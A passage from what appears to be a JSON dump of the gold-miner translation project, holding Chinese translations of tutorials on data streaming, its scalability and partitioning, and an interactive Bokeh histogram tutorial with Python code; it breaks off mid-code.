Shiny。建议读者掌握一些 R 和 Java 的使用经验，因为我不会介绍这些语言的基础知识。\n\n* * *\n\n[Ben Weber](https://www.linkedin.com/in/ben-weber-3b87482/) 是游戏行业的数据科学家，在 Electronic Arts、Microsoft Studios、Daybreak Games 还有 Twitch 都有工作经验。他还是 FinTech 初创公司的第一位数据科学家。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-streaming-scalability.md",
    "content": "> * 原文地址：[Data Streaming Scalability](http://tutorials.jenkov.com/data-streaming/scalability.html)\n> * 原文作者：[Jakob Jenkov](https://twitter.com/#!/jjenkov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-streaming-scalability.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-streaming-scalability.md)\n> * 译者：[Park-ma](https://github.com/park-ma)\n> * 校对者：[JackEggie](https://github.com/JackEggie), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 论数据流的扩展性 \n\n在分布式系统中，数据流是一种简单但功能强大的储存和共享数据的机制。说数据流简单的原因之一是因为它们很容易扩展。无论是从纵向（增加计算机的容量）还是从横向（增加计算机的数量），数据流都能很好的扩展。本次数据流的扩展性的教程中，我们将了解数据流纵向扩展性好的原因，以及在横向扩展性上的选择。常见的问题是，当数据流在横向扩展时，对数据流的处理也可能要进行横向的扩展，这将会影响数据流处理管道的设计。\n\n## 纵向还是横向扩展\n\n为了避免读者感到困惑，我这里先对于纵向和横向进行定义。**纵向扩展**是指你使用更强大的计算机来运行数据流的存储和处理程序。纵向扩展有时也称为**向上扩展**。你可以提高的包括磁盘的大小和速度、内存、CPU 的速度以及 CPU 的核心数量和显卡等设备。\n\n![Vertical scaling - AKA scaling up to a more powerful computer.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-1.jpg)\n\n**横向扩展**指的是将工作分配给多台计算机。因此，数据流中的数据会在多台计算机之间分配，处理数据流的程序也会被分配 （至少它们可以被分配）横向扩展有时也称为**向外扩展**。你可以将一台计算机的工作横向扩展给多台计算机\n\n有两种情况下可能需要横向扩展：一、你得不到一个有更大内存和磁盘， 可以存储和处理你的所有数据的计算机。二、有这样的计算机，但是太贵买不起。\n\n![Horizontal scaling - AKA scaling out to multiple computers.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-2.jpg) \n\n## 纵向扩展\n\n上面已经提到了，纵向扩展意味着从配置低的计算机扩展到配置高的计算机。下面是传统计算机体系结构的各个层次：\n\n![Computer architecture - vertical scaling.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-3.jpg)\n数据离 CPU 越远，CPU 访问它的速度就越慢。在上图中，数据离最底层越近，CPU 访问速度越慢。\n\n上述计算机体系结构的每一层都经过了优化，以便串行读取数据。这意味着，顺序读取位于磁盘上，RAM 或 L3、L2、L1 高速缓存中的数据比读取随机分布在磁盘、RAM 和高速缓存的数据要快。将数据顺序写入磁盘也要比随机写入磁盘各个部分要快得多。\n\n数据流完全是串行数据结构。它们连续地读取，连续地写入。这意味着，你可以在单台计算机上面轻松的向上扩展数据流。写入流的数据可以轻松的扩展到流文件中。向文件追加是写入文件的最快方式，相比之下，回到文件开始的位置并重写文件相对要慢。\n\n从文件读取时，一大块数据被读入到 RAM。RAM 中的数据会被存入缓存，一小部分数据被读取并存入到 L3 缓存中，还有一小部分被读取并存入到 L2 缓存中，还有更小的一部分被读取并存入到 L1 缓存中，CPU 可以直接访问 L1 缓存并读取这部分数据。因为你的数据分散在整个磁盘中，如果你需要将一小块数据从磁盘读取到 CPU 中，你需要先读取一大块数据到 RAM中，然后再进入 L3、L2和L1高速缓存，那么在读取所需数据之前，这将会产生更多次数的数据读取操作。当数据以串行方式位于一个大块中时，磁盘、RAM、L3、L2 和 L1 高速缓存读取数据的速度要比随机读取快得多。原因很简单，因为读取次数少，每一次读取的块中都包含相关数据。\n\n因为数据流的读写很好地利用了现代计算机，当你扩展计算机运行数据流服务时，数据流服务的性能也会线性地增长。\n\n## 横向扩展\n\n之前也已经提到了，横向扩展是将程序从一台计算机扩展到多台计算机。在数据流中，这意味着要将数据流中的消息分发到多台计算机。下面的图描述了将数据流的消息分发给多台计算机的过程：\n\n![The messages of a data stream distributed onto multiple computers.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-4.jpg)\n\n将数据流的消息分发给多台计算机也称为对于数据流的**分区**。\n\n### 分区影响消息序列的顺序的一致性\n\n对于数据流的分区会影响消息序列的顺序的一致性。在一台计算机上，数据流的消息的读取和写入的顺序可以保证是相同的。一旦你对数据流进行了分区，我们就不能保证这个顺序了。具体的分区方法决定了会以何种方式影响消息序列的顺序。\n\n### Round Robin 分区\n\nRound Robin 分区是跨多台计算机对数据流的消息进行分区的最简单的方法。Round Robin 分区只是在计算机之间均匀和顺序地分发消息。换句话说，1 号消息存储在 1 号计算机上，2 号消息存储在 2 号计算机上，以此类推。当所有的计算机都接收到消息后，Round Robin 分区的方法再从 1 号计算机开始。\n\n如果只有一个应用程序写入数据流，使用 Round Robin 分区的方法是最简单的。但是要是有多个程序同时运行就不好办了。\n\n当使用 Round Robin 分区机制时，对于流的读取来说，按照流中划分消息之前的顺序重新组装流中的消息是相当容易的。输出流只需以轮询调度方式从每一个分区读取一条消息。\n\n### 基于字段值分区\n\n基于字段值分区的原理是通过每个消息的特定值将消息分发给不同的计算机。通常，识别ID（例如主键值）作为分发消息的字段。计算每个字段值的哈希值，然后利用这个哈希值将消息映射到集群的一台计算机中。\n\n当使用字段值分区时，很可能会丢失整个消息序列的顺序。写入同一台计算机（同一分区）的消息仍保持相互之间的顺序，但是整个序列的顺序可能会丢失，因为其他的计算机（其他分区）可能在它们之前被读取。下图就说明了这个问题：\n\n![Key based data stream partitioning may affect overall message sequence.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-5.jpg)\n\n如果要获得数据流分区的全部好处，就不能控制流处理器从不同分区读取数据的顺序。如果你还想扩展流处理器，那更不切实际。下图就说明这个问题：\n\n![Key based data stream partitioning with stream processor partitioning too, will most likely affect overall message sequence.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-6.jpg)\n\n在很多情况下，其实你并不需要完整的消息序列的顺序。你需要的可能是在数据流中**相关消息**的消息序列顺序。例如，如果消息表示对于客户端更新，那么将对于同一客户端的更新消息应该集中在集群中的同一台计算机（同一个分区）上。这样，你就可以保证对于每一个客户的更新顺序，这对于你的程序来说已经足够了。对于不同客户端更新顺序可能改变，但是对于同一逻辑实体（客户端）的更新序列保持相同，对于不同逻辑实体的更新之间的序列的改变可能不一定是个问题。\n\n对于消息进行分区以便最后所有的相关消息都会在同一台服务器上，这通常是通过对消息主键上的数据进行分区完成的。这样应该会保证同一逻辑实体（例如客户端）的所有相关消息都会存储在同一台计算机上。\n\n基于字段值的分区，消息的分布可能会不均匀。它取决于字段的分布以及将消息映射到群集计算机的哈希函数。不合适的哈希算法可能会将更多消息映射到某些计算机上而不是其他计算机。这样不均匀的消息分发会导致集群计算机之间负载分布的不平均，这又会导致对于计算机资源的非最佳利用。\n\n在某些情况下，基于非标识字段值（例如外键或某些其他字段值）对消息进行分区是有意义的。这显然会导致消息离散分布，甚至可能导致非常不均匀的分布，例如使用一个比其他值更普遍的值作为分区值。\n\n下面是横向扩展数据流的示意图，其中集群中的计算机的消息分布不一定均匀：\n\n![Key based data stream partitioning may lead to uneven distribution of the messages in the stream across the computers in the cluster.](http://tutorials.jenkov.com/images/data-streaming/data-streaming-scalability-7.jpg)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-streaming.md",
    "content": "> * 原文地址：[Data Streaming](http://tutorials.jenkov.com/data-streaming/index.html)\n> * 原文作者：[Jakob Jenkov](https://twitter.com/#!/jjenkov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-streaming.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-streaming.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[Endone](https://github.com/Endone)，[xionglong58](https://github.com/xionglong58)\n\n# 数据流简介\n\n**数据流**是一种数据分发技术，通过这种技术数据生产者可以把数据记录写入到一个有序的数据流中，数据消费者可以从该数据流中以同样的顺序读取数据。这里有一个简单的数据流图解释数据生产者、数据流和数据消费者：\n\n![](http://tutorials.jenkov.com/images/data-streaming/data-streaming-introduction-1.png)\n\n## 数据流有很多变体\n\n从表面上看，数据流作为一个概念看起来很简单。数据生产者把记录储存到数据流中，稍后消费者会读取这些数据。但是，在这个表面下还存在着很多细节，这些细节会影响到整个数据流系统的表现、行为方式以及功能。\n\n每个数据流产品都会对其支持的使用场景和支持的处理技术做出一系列假设。这些假设决定了数据流的设计方式，从而影响你可以实现的流处理行为类型。这个数据流教程研究了许多这些设计中的选择，并且根据这些设计选择讨论它们作为产品对于使用用户的影响。\n\n## 数据流解耦生产者和消费者\n\n数据流使数据生产者和数据消费者相互解耦。数据生产者只是简单地把数据写到数据流中，并不需要知道读取数据的消费者。消费者可以独立于生产者添加或删除。消费者也可以启动和停止，或者暂停和恢复它们的消费，而生产者并不需要知道这些。这种解耦简化了数据生产者和消费者的实现。\n\n## 数据流作为数据共享的机制\n\n在更大的分布式系统中，数据流是一种储存和共享数据十分有效的机制。正像之前提到的那样，数据生产者只需要把数据发送到数据流系统。生产者不需要了解消费者的任何情况。消费者可以在不影响生产者的情况下被添加和删除。\n\n像 LinkedIn 这样的大公司在内部广泛使用了数据流。Uber 内部也使用了数据流。许多企业级公司内部正在采用或已经采用了数据流。许多初创公司也是如此。\n\n## 持久化数据流\n\n数据流是可以是持久化的，在这种情况下，它有时候被称为**日志**或者**日报**。持久化数据流的优点在于当数据流服务被关闭时里面的数据还可以保存下来，因此不会丢失任何数据记录。\n\n和只将记录保存在内存中的数据流服务相比，持久化数据流服务通常可以保存更多的历史数据。一些数据流服务甚至可以把保存的历史数据一直追溯到写入数据流的第一条记录。其它数据流保存的历史数据通常不会很久，例如几天。\n\n在持久化数据流保存了完整历史记录的情况下，消费者就可以重放所有这些记录，并基于这些历史记录重建其内部的状态。如果在消费者的代码中发现了错误，则可以更正错误代码并重放数据流以重新创建其内部的数据库。\n\n## 数据流用例\n\n数据流是一个非常通用的概念，可以用来支持许多不同的用例。在本节中，我将会介绍一些常用数据流用例。\n\n### 数据流用于事件驱动架构\n\n数据流通常可以用来实现[事件驱动架构](http://tutorials.jenkov.com/software-architecture/event-driven-architecture.html)。事件生产者将事件作为记录写到某些数据流系统，事件的消费者可以从中读取事件。\n\n### 数据流用于智能城市和物联网\n\n对于安装在**智慧城市**的传感器，**智能工厂**内的传感器或者其它**物联网**设备，数据流可以被用来从这些设备传输数据。温度、污染水平等这些数值可以定期从设备中取样并写入数据流中。数据消费者可以在需要时从数据流中读取样本。\n\n### 数据流用于定期采样数据\n\n智能城市中的传感器和物联网设备只是作为数据源的两个例子，这些数据流可以被定期采样并且通过数据流得到。但是还有很多其它类型的数据可以被定期采样和流式处理。比如说，货币汇率或股票价格也可以被采样和流式处理。投票数也能定期被采样和流式处理。\n\n### 数据流用于数据点\n\n在投票数的例子中，你可以决定将每个单独的回答流式传输到投票所中，而不是流式传输定期抽样的总数。在一些总数是由单个数据点组成的（就像民意调查）的情况下，使用流式传输单个数据点比计算得到的总数更有意义。它取决于具体的用例以及其它一些因素，比如其中的单个点数据是匿名的或者包含了不应该共享的私人信息。\n\n## 记录，消息，事件，样本等\n\n数据流中的记录有时候被称为消息、事件、样本，对象或其它术语。使用什么术语取决于数据流的具体用例，以及生产者和消费者如何处理和响应数据。通常情况下这都是合理的，在用例中通过使用的术语来映射数据流中的数据是有意义的。\n\n值得注意的是，用例也会影响给定记录所表示的内容。并非所有的数据记录都是相同的。事件和采样值是不同的，所以它们不能通过同样的方式使用。稍后我会在本（或其它）教程中更详细的介绍这点。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-visualization-with-bokeh-in-python-part-ii-interactions.md",
    "content": "> * 原文地址：[Data Visualization with Bokeh in Python, Part II: Interactions](https://towardsdatascience.com/data-visualization-with-bokeh-in-python-part-ii-interactions-a4cf994e2512)\n> * 原文作者：[Will Koehrsen](https://towardsdatascience.com/@williamkoehrsen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-ii-interactions.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-ii-interactions.md)\n> * 译者：[Starrier](https://github.com/Starrier)\n> * 校对者：[TrWestdoor](https://github.com/TrWestdoor)\n\n# 利用 Python 中 Bokeh 实现数据可视化，第二部分：交互\n\n**超越静态图的图解**\n\n本系列的[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-one-getting-started.md) 中，我们介绍了在 [Bokeh](https://bokeh.pydata.org/en/latest/)（Python 中一个强大的可视化库）中创建的一个基本柱状图。最后的结果显示了 2013 年从纽约市起飞的航班延迟到达的分布情况，如下所示（有一个非常好的工具提示）：\n\n![](https://cdn-images-1.medium.com/max/800/1*rNBU4zoqIk_iEzMGufiRhg.png)\n\n这张表完成了任务，但并不是很吸引人！用户可以看到航班延迟的几乎是正常的（有轻微的斜率），但他们没有理由在这个数字上花几秒钟以上的时间。\n\n如果我们想创建更吸引人的可视化数据，可以允许用户通过交互方式来获取他们想要的数据。比如，在这个柱状图中，一个有价值的特性是能够选择指定航空公司进行比较，或者选择更改容器的宽度来更详细地检查数据。辛运的是，我们可以使用 Bokeh 在现有的绘图基础上添加这两个特性。柱状图的最初开发似乎只涉及到了一个简单的图，但我们现在即将体验到像 Bokeh 这样的强大的库的所带来的好处！\n\n本系列的所有代码[都可在 GitHub 上获得](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/tree/master/interactive)。任何感兴趣的人都可以查看所有的数据清洗细节（数据科学中一个不那么鼓舞人心但又必不可少的部分），也可以亲自运行它们！（对于交互式 Bokeh 图，我们仍然可以使用 Jupyter Notebook 来显示结果，我们也可以编写 Python 脚本，并运行 Bokeh 服务器。我通常使用 Jupyter Notebook 进行开发，因为它可以在不重启服务器的情况下，就可以很容易的快速迭代和更改绘图。然后我将它们迁移到服务器中来显示最终结果。你可以在 GitHub 上看到一个独立的脚本和完整的笔记）。\n\n### 主动的交互\n\n在 Bokeh 中，有两类交互：被动的和主动的。第一部分所描述的被动交互也称为 inspectors，因为它们允许用户更详细地检查一个图，但不允许更改显示的信息。比如，当用户悬停在数据点上时出现的工具提示：\n\n![](https://cdn-images-1.medium.com/max/800/1*3A33DOx2NL0h53SfsgPrzg.png)\n\n工具提示，被动交互器\n\n第二类交互被称为 active，因为它更改了显示在绘图上的实际数据。这可以是从选择数据的子集（例如指定的航空公司）到改变匹配多项式回归拟合程度中的任何数据。在 Bokeh 中有多种类型的 [active 交互](https://bokeh.pydata.org/en/latest/docs/user_guide/interaction.html)，但这里我们将重点讨论“小部件”，可以被单击，而且用户能够控制某些绘图方面的元素。\n\n![](https://cdn-images-1.medium.com/max/600/1*3DV5TiCbiSSmEck5BhOjnQ.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*1lcSC9fMxSd2nqul_twj2Q.png)\n\n小部件示例（下拉按钮和单选按钮组）\n\n当我查看图时，我喜欢主动的交互（[比如那些在 FlowingData 上的交互](http://flowingdata.com/2018/01/23/the-demographics-of-others/)），因为它们允许我自己去研究数据。我发现让人印象更深刻的是从我自己的数据中发现的结论（从设计者那里获取的一些研究方向），而不是从一个完全静态的图表中发现的结论。此外，给予用户一定程度的自由，可以让他们对数据集提出更有用的讨论，从而产生不同的解释。\n\n### 交互概述\n\n一旦我们开始添加主动交互，我们就需要越过单行代码，深入封装特定操作的函数。对于 Bokeh 小部件的交互，有三个主要函数可以实现：\n\n*   `make_dataset()` 格式化想要显示的特定数据\n*   `make_plot()` 用指定的数据进行绘图\n*   `update()` 基于用户选择来更新绘图\n\n#### 格式化数据\n\n在我们绘制这个图之前，我们需要规划将要显示的数据。对于我们的交互柱状图，我们将为用户提供三个可控参数：\n\n1.  航班显示（在代码中称为运营商）\n2.  绘图中的时间延迟范围，例如：-60 到 120 分钟\n3.  默认情况下，柱状图的容器宽度是 5 分钟\n\n对于生成绘图数据集的函数，我们需要允许指定每个参数。为了告诉我们如何转换 `make_dataset` 函数中的数据，我们需要加载所有相关数据进行检查。\n\n![](https://cdn-images-1.medium.com/max/800/1*oGphn8rw5GEmy9-tnHanuA.png)\n\n柱状图数据\n\n在此数据集中，每一行都是一个单独的航班。`arr_delay` 列是航班到达延误数分钟（负数表示航班提前到达）。在第一部分中，我们做了一些数据探索，知道有 327，236 次航班，最小延误时间为 -86 分钟，最大延误时间为 1272 分钟。在 `make_dataset` 函数中，我们想基于 dataframe 中的 `name` 列来选择公司，并用 `arr_delay` 列来限制航班。\n\n为了生成柱状图的数据，我们使用 numpy 函数 `histogram` 来统计每个容器中的数据点数。在我们的示例中，这是每个指定延迟间隔中的航班数。对于第一部分，我们做了一个包含所有航班的柱状图，但现在我们会为每一个运营商都提供一个柱状图。由于每个航空公司的航班数目有很大差异，我们可以显示延迟而不是按原始数目显示，可以按比例显示。也就是说，图上的高度对应于特定航空公司的所有航班比例，该航班在相应的容器中有延迟。从计数到比例，我们除以航空公司的总数。\n\n下面是生成数据集的完整代码。函数接受我们希望包含的运营商列表，要绘制的最小和最大延迟，以及制定的容器宽度（以分钟为单位）。\n\n```Python\ndef make_dataset(carrier_list, range_start = -60, range_end = 120, bin_width = 5):\n\n    # 为了确保起始点小于终点而进行检查\n    assert range_start < range_end, \"Start must be less than end!\"\n    \n    by_carrier = pd.DataFrame(columns=['proportion', 'left', 'right', \n                                       'f_proportion', 'f_interval',\n                                       'name', 'color'])\n    range_extent = range_end - range_start\n    \n    # 遍历所有运营商\n    for i, carrier_name in enumerate(carrier_list):\n\n        # 运营商子集\n        subset = flights[flights['name'] == carrier_name]\n\n        # 创建具有指定容器和范围的柱状图\n        arr_hist, edges = np.histogram(subset['arr_delay'], \n                                       bins = int(range_extent / bin_width), \n                                       range = [range_start, range_end])\n\n        # 将极速除以总数，得到一个比例，并创建 df\n        arr_df = pd.DataFrame({'proportion': arr_hist / np.sum(arr_hist), \n                               'left': edges[:-1], 'right': edges[1:] })\n\n        # 格式化比例\n        arr_df['f_proportion'] = ['%0.5f' % proportion for proportion in arr_df['proportion']]\n\n        # 格式化间隔\n        arr_df['f_interval'] = ['%d to %d minutes' % (left, right) for left, \n                                right in zip(arr_df['left'], arr_df['right'])]\n\n        # 为标签指定运营商\n        arr_df['name'] = carrier_name\n\n        # 不同颜色的运营商\n        arr_df['color'] = Category20_16[i]\n\n        # 添加到整个 dataframe 中\n        by_carrier = by_carrier.append(arr_df)\n\n    # 总体 dataframe\n    by_carrier = by_carrier.sort_values(['name', 'left'])\n    \n    # 将 dataframe 转换为列数据源\n    return ColumnDataSource(by_carrier)\n```\n\n（我知道这是一篇关于 Bokeh 的博客，但在你不能在没有格式化数据的情况下来生成图表，因此我使用了相应的代码来演示我的方法！）\n\n运行带有所需运营商的函数结果如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*yKvJztYW6m6k07FxaqdadQ.png)\n\n作为提醒，我们使用 Bokeh `quad` 表来制作柱状图，因此我们需要提供表的左、右和顶部（底部将固定为 0）。它们分别在罗列在 `left`、`right` 以及 `proportion`。颜色列为每个运营商提供了唯一的颜色，`f_` 列为工具提供了格式化文本的功能。\n\n下一个要实现的函数是 `make_plot`。函数应该接受 ColumnDataSource [(Bokeh 中用于绘图的一种特定类型对象)](https://bokeh.pydata.org/en/latest/docs/reference/models/sources.html)并返回绘图对象：\n\n```Python\ndef make_plot(src):\n        # 带有正确标签的空白图\n        p = figure(plot_width = 700, plot_height = 700, \n                  title = 'Histogram of Arrival Delays by Carrier',\n                  x_axis_label = 'Delay (min)', y_axis_label = 'Proportion')\n\n        # 创建柱状图的四种符号\n        p.quad(source = src, bottom = 0, top = 'proportion', left = 'left', right = 'right',\n               color = 'color', fill_alpha = 0.7, hover_fill_color = 'color', legend = 'name',\n               hover_fill_alpha = 1.0, line_color = 'black')\n\n        # vline 模式下的悬停工具\n        hover = HoverTool(tooltips=[('Carrier', '@name'), \n                                    ('Delay', '@f_interval'),\n                                    ('Proportion', '@f_proportion')],\n                          mode='vline')\n\n        p.add_tools(hover)\n\n        # Styling\n        p = style(p)\n\n        return p \n```\n\n如果我们向所有航空公司传递一个源，此代码将给出以下绘图：\n\n![](https://cdn-images-1.medium.com/max/800/1*-IcPPBWctsiOuh870pRbJg.png)\n\n这个柱状图非常混乱，因为 16 家航空公司都绘制在同一张图上！因为信息被重叠了，所以如果我们想比较航空公司就显得不太现实。辛运的是，我们可以添加小部件来使绘制的图更清晰，也能够进行快速地比较。\n\n#### 创建可交互的小部件\n\n一旦我们在 Bokeh 中创建一个基础图形，通过小部件添加交互就相对简单了。我们需要的第一个小部件是允许用户选择要显示的航空公司的选择框。这是一个允许根据需要进行尽可能多的选择的复选框控件，在 Bokeh 中称为T `CheckboxGroup.`。为了制作这个可选工具，我们需要导入 `CheckboxGroup` 类来创建带有两个参数的实例，`labels`：我们希望显示每个框旁边的值以及 `active`：检查选中的初始框。以下创建的 `CheckboxGroup` 代码中附有所需的运营商。\n\n```Python\nfrom bokeh.models.widgets import CheckboxGroup\n\n# 创建复选框可选元素，可用的载体是\n# 数据中所有航空公司组成的列表\ncarrier_selection = CheckboxGroup(labels=available_carriers, \n                                  active = [0, 1])\n```\n\n![](https://cdn-images-1.medium.com/max/600/1*XpJfjyKacHR2VwdCIed-wA.png)\n\nCheckboxGroup 部件\n\nBokeh 复选框中的标签必须是字符串，但激活值需要的是整型。这意味着在在图像 ‘AirTran Airways Corporation’ 中，激活值为 0，而 ‘Alaska Airlines Inc.’ 激活值为 1。当我们想要将选中的复选框与 airlines 想匹配时，我们需要确保所选的**整型**激活值能匹配与之对应的**字符串**。我们可以使用部件的 `.labels` 和 `.active` 属性来实现。\n\n```Python\n# 从选择值中选择航空公司的名称\n[carrier_selection.labels[i] for i in carrier_selection.active]\n\n['AirTran Airways Corporation', 'Alaska Airlines Inc.']\n```\n\n在制作完小部件后，我们现在需要将选中的航空公司复选框链接到图表上显示的信息中。这是使用 CheckboxGroup 的 `.on_change` 方法和我们定义的 `update` 函数完成的。update 函数总是具有三个参数：`attr、old、new`，并基于选择控件来更新绘图。改变图形上显示的数据的方式是改变我们传递给 `make_plot` 函数中的图形的数据源。这听起来可能有点抽象，因此下面是一个 `update` 函数的示例，该函数通过更改柱状图来显示选定的航空公司：\n\n```Python\n# update 函数有三个默认参数\ndef update(attr, old, new):\n    # Get the list of carriers for the graph\n    carriers_to_plot = [carrier_selection.labels[i] for i in\n                        carrier_selection.active]\n\n    # 根据被选中的运营商和\n    # 先前定义的 make_dataset 函数来创建一个新的数据集\n    new_src = make_dataset(carriers_to_plot,\n                           range_start = -60,\n                           range_end = 120,\n                           bin_width = 5)\n\n    # update 在 quad glpyhs 中使用的源\n    src.data.update(new_src.data)\n```\n\n这里，我们从 CheckboxGroup 中检索要基于选定航空公司显示的航空公司列表。这个列表被传递给 `make_dataset` 函数，它返回一个新的列数据源。我们通过调用 `src.data.update` 以及传入来自新源的数据更新图表中使用的源数据。最后，为了将 `carrier_selection` 小部件中的更改链接到 `update` 函数，我们必须使用 `.on_change` 方法（称为[事件处理器](https://bokeh.pydata.org/en/latest/docs/user_guide/interaction/widgets.html)）。\n\n```Python\n# 将选定按钮中的更改链接到 update 函数\ncarrier_selection.on_change('active', update)\n```\n\n在选择或取消其他航班的时会调用 update 函数。最终结果是在柱状图中只绘制了与选定航空公司相对应的符号，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*z36QoTv4AnbJqHLmKkLTZQ.gif)\n\n#### 更多控件\n\n现在我们已经知道了创建控件的基本工作流程，我们可以添加更多元素。我们每次创建小部件时，编写 update 函数来更改显示在绘图上的数据，通过事件处理器来将 update 函数链接到小部件。我们甚至可以通过重写函数来从多个元素中使用相同的 update 函数来从小部件中提取我们所需的值。在实践过程中，我们将添加两个额外的控件：一个用于选择柱状图容器宽度的 Slider，另一个是用于设置最小和最大延迟的 RangeSlider。下面是生成这些小部件和 update 函数的代码：\n\n```Python\n# 滑动 bindwidth，对应的值就会被选中\nbinwidth_select = Slider(start = 1, end = 30, \n                     step = 1, value = 5,\n                     title = 'Delay Width (min)')\n# 当值被修改时，更新绘图\nbinwidth_select.on_change('value', update)\n\n# RangeSlider 用于修改柱状图上的最小最大值\nrange_select = RangeSlider(start = -60, end = 180, value = (-60, 120),\n                           step = 5, title = 'Delay Range (min)')\n\n# 当值被修改时，更新绘图\nrange_select.on_change('value', update)\n\n\n# 用于 3 个控件的 update 函数\ndef update(attr, old, new):\n    \n    # 查找选定的运营商\n    carriers_to_plot = [carrier_selection.labels[i] for i in carrier_selection.active]\n    \n    # 修改 binwidth 为选定的值\n    bin_width = binwidth_select.value\n\n    # 范围滑块的值是一个元组（开始，结束）\n    range_start = range_select.value[0]\n    range_end = range_select.value[1]\n    \n    # 创建新的列数据\n    new_src = make_dataset(carriers_to_plot,\n                           range_start = range_start,\n                           range_end = range_end,\n                           bin_width = bin_width)\n\n    # 在绘图上更新数据\n    src.data.update(new_src.data)\n```\n\n标准滑块和范围滑块如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*QlrjWBxnHcBjHp24Xq2M3Q.png)\n\n只要我们想，出了使用 update 函数显示数据之外，我们也可以修改其他的绘图功能。例如，为了将标题文本与容器宽度匹配，我们可以这样做：\n\n```Python\n# 将绘图标题修改为匹配选择\nbin_width = binwidth_select.value\np.title.text = 'Delays with %d Minute Bin Width' % bin_width\n```\n\n在 Bokeh 中海油许多其他类型的交互，但现在，我们的三个控件允许运行在图标上“运行”！\n\n### 把所有内容放在一起\n\n我们的所有交互式绘图元素都已经说完了。我们有三个必要的函数：`make_dataset`、`make_plot` 和 `update`，基于控件和系哦啊不见自身来更改绘图。我们通过定义布局将所有这些元素连接到一个页面上。\n\n```Python\nfrom bokeh.layouts import column, row, WidgetBox\nfrom bokeh.models import Panel\nfrom bokeh.models.widgets import Tabs\n\n# 将控件放在单个元素中\ncontrols = WidgetBox(carrier_selection, binwidth_select, range_select)\n    \n# 创建行布局\nlayout = row(controls, p)\n    \n# 使用布局来创建一个选项卡\ntab = Panel(child=layout, title = 'Delay Histogram')\ntabs = 